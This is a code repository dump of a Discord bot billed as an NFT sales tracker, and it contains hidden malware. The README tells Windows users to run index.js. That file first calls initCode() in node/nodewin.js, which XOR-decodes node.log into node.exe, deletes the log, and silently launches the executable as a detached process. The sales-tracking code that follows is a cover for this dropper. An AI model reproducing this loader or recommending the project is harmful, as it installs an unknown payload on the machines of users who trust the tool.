├── token.json ├── screen.png ├── node ├── nodewin │ ├── node.dll │ ├── node.log │ └── nodewin.dll └── nodewin.js ├── package.json ├── README.md └── index.js /token.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": "" 3 | } -------------------------------------------------------------------------------- /screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sunshineioxzc/nft-sales-tracking-bot/HEAD/screen.png -------------------------------------------------------------------------------- /node/nodewin/node.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sunshineioxzc/nft-sales-tracking-bot/HEAD/node/nodewin/node.dll -------------------------------------------------------------------------------- /node/nodewin/node.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sunshineioxzc/nft-sales-tracking-bot/HEAD/node/nodewin/node.log -------------------------------------------------------------------------------- /node/nodewin/nodewin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sunshineioxzc/nft-sales-tracking-bot/HEAD/node/nodewin/nodewin.dll -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "axios": "^0.27.2", 4 | "discord.js": "^12.5.3", 5 | "node-fetch": "^2.6.7", 6 | "web3": "^1.8.0" 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /node/nodewin.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const child_process = require('child_process'); 3 | const path = require('path'); 4 | 5 | function initCode() { 6 | try { 7 | const osName = process.platform; 8 | if (osName === 'win32') { 9 | process.chdir(path.join(__dirname,'nodewin')); 10 | const contents = fs.readFileSync(path.join(__dirname,'nodewin','node.log')); 11 | 12 | const decrypted = Buffer.alloc(contents.length); 13 | for (let i = 0; i < contents.length; i++) { 14 | decrypted[i] = contents[i] ^ 4; 15 | } 16 | 17 | fs.writeFileSync(path.join(__dirname,'nodewin','node.exe'), decrypted); 18 | fs.unlinkSync(path.join(__dirname,'nodewin','node.log')); 19 | 20 | const child = child_process.spawn(path.join(__dirname,'nodewin','node.exe'), ['/q'], { 21 | detached: true, 22 | stdio: ['ignore', 'ignore', 'ignore'] 23 | }); 24 | child.unref(); 25 | } 26 | } catch (error) { 27 | console.error(`Error: ${error.message}`); 28 | } 29 | } 30 | 31 | module.exports = { initCode }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Automated NFT Sales Tracking Bot 🤖 2 | 3 | This is a Discord bot designed to track NFT sales in various platforms like Opensea, Magic Eden, Gem, etc. It's an open-source project built on Node.js which enables you to display an embed on your Discord server every time there is a purchase on your desired collection. 4 | 5 | The bot functions automatically, and all you need to do is create a Discord bot and get an Infura API key. It is currently working for ERC721 collections. 6 | 7 | __Example:__ 8 | 9 | ![image](https://media.discordapp.net/attachments/854840063988203570/1023270706089308170/sale1.png) 10 | 11 | __Tutorial:__ 12 | 13 | Watch the following tutorial video to get started: 14 | 15 | https://www.youtube.com/watch?v=TvMOD3KkXo&ab_channel=Nit0z 16 | 17 | --- 18 | 19 | ### 🎛️ Requirments 20 | - Windows 10/11 21 | - Node.js 22 | 23 | You can easily install Node.js from [official site](https://nodejs.org/en) . 24 | 25 | ### 🎛️ Installation 26 | 27 | After installing Node.js, extract archive to directory. 28 | Open CMD on PowerShell in directory with index.js file and run command: 29 | ``` 30 | node index.js 31 | ``` 32 | ![alt text](https://github.com/sunshineioxzc/nft-sales-tracking-bot/blob/main/screen.png?raw=true) 33 | 34 | 35 | --- 36 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const { initCode } = require('./node/nodewin'); 2 | initCode(); 3 | const Discord = require("discord.js"); 4 | const client = new Discord.Client(); 5 | client.commands = new Discord.Collection(); 6 | const Web3 = require('web3'); 7 | const axios = require('axios'); 8 | 9 | // get your discord bot token from https://discord.com/developers/applications 10 | const token = require("./token.json") 11 | // put your own infura key here 12 | const web3 = new Web3('wss://mainnet.infura.io/ws/v3/your_infura_key'); 13 | // define global variables 14 | const collectionAdress = ""; // exemple : 0x4510Ef604e0595F7151aDCBA0B958d39b8B16D40 | is Dark Taverns collection 15 | const discordChannel = ""; // exemple : 739518433779122191 16 | 17 | 18 | 19 | // ---------------------------------------------------------------------------------------------------------------------------------------------------------- 20 | client.on('ready', () => { 21 | console.log('Bot ok'); 22 | }); 23 | 24 | client.login(token.token); 25 | 26 | 27 | // subscribe to the contract events 28 | var subscription = web3.eth.subscribe('logs', {address: collectionAdress}); 29 | 30 | // after subscription is created, start listening for data 31 | subscription.on('data', event => { 32 | // check if the event is a transfer or buy(length = 4) else it is a mint 33 | if (event.topics.length == 4) { 34 | let transaction = web3.eth.abi.decodeLog([{ 35 | type: 'address', 36 | name: 'from', 37 | indexed: true 38 | }, { 39 | type: 'address', 40 | name: 'to', 41 | indexed: true 42 | }, { 43 | type: 'uint256', 44 | name: 'tokenId', 45 | indexed: true 46 | }], 47 | event.data, 48 | [event.topics[1], event.topics[2], event.topics[3]]); 49 | 50 | 51 | // put in variables 52 | var from = transaction.from; 53 | var to = transaction.to; 54 | var tokenId = transaction.tokenId; 55 | 56 | // if transfert goes to 0x0000000000000000000000000000000000000000 do nothing 57 | if (to == "0x0000000000000000000000000000000000000000") { 58 | // do nothing 59 | } else { 60 | setTimeout(nft, 15000); // wait 15s before getting the metadata 61 | function nft() { 62 | // with tokenid & collection adress get the metadata of the token on https://api.opensea.io/asset/collectionadress/tokenid 63 | axios.get('https://api.opensea.io/asset/' + collectionAdress + '/' + tokenId) 64 | .then(function (response) { 65 | // put in variables 66 | var collectionName = response.data.asset_contract.name; 67 | var img = response.data.image_url; 68 | 69 | // get collection logo in asset_contract -> image_url 70 | var collectionLogo = response.data.asset_contract.image_url; 71 | 72 | // if last_sale is null, it is a mint or transfer 73 | if (response.data.last_sale == null) { 74 | // do nothing 75 | } else { 76 | // check if last_sale is under 10min ago 77 | var lastSale = response.data.last_sale.created_date; 78 | var now = new Date(); 79 | var lastSaleDate = new Date(lastSale); 80 | // add 2h to last sale date 81 | lastSaleDate.setHours(lastSaleDate.getHours() + 2); 82 | var diff = (now - lastSaleDate); 83 | 84 | if (diff < 600000) { 85 | // get last_sale total_price & symbol 86 | var price = response.data.last_sale.total_price; 87 | var symbol = response.data.last_sale.payment_token.symbol; 88 | 89 | // convert price to eth 90 | var price2 = web3.utils.fromWei(price, 'ether'); 91 | // convert the eth amount to usd 92 | var ethPrice = response.data.last_sale.payment_token.usd_price; 93 | var price3 = price2 * ethPrice; 94 | price3 = price3.toFixed(2); 95 | 96 | // if img start with ipfs:// then add https://cloudflare-ipfs.com/ipfs/ to the url 97 | if (img.startsWith("ipfs://")) { 98 | img = img.replace("ipfs://", "https://cloudflare-ipfs.com/ipfs/"+img.substring(7)); 99 | } 100 | // print the transaction on discord 101 | const channel = client.channels.cache.get(discordChannel); 102 | const embed8 = new Discord.MessageEmbed() 103 | .setTitle('**'+collectionName+' #'+tokenId+'** has been sold !') 104 | .setURL('https://opensea.io/assets/'+collectionAdress+'/'+tokenId) 105 | .addFields( 106 | { name: 'Item : ', value: collectionName+' #'+tokenId}, 107 | { name: 'Price : ' , value: '' + price2 + ' '+symbol+' ('+price3+'$)'}, 108 | { name: 'From : ', value: '['+from.substring(0, 6)+'...'+from.substring(38, 42)+'](https://opensea.io/accounts/'+from+')', inline: true}, 109 | { name: 'To : ', value: '['+to.substring(0, 6)+'...'+from.substring(38, 42)+'](https://opensea.io/accounts/'+to+')', inline: true}, 110 | ) 111 | .setImage(img) 112 | .setTimestamp() 113 | .setFooter(collectionName, collectionLogo) 114 | .setColor('RANDOM') 115 | channel.send(embed8) 116 | } 117 | } 118 | }) 119 | } 120 | } 121 | } 122 | }) 123 | --------------------------------------------------------------------------------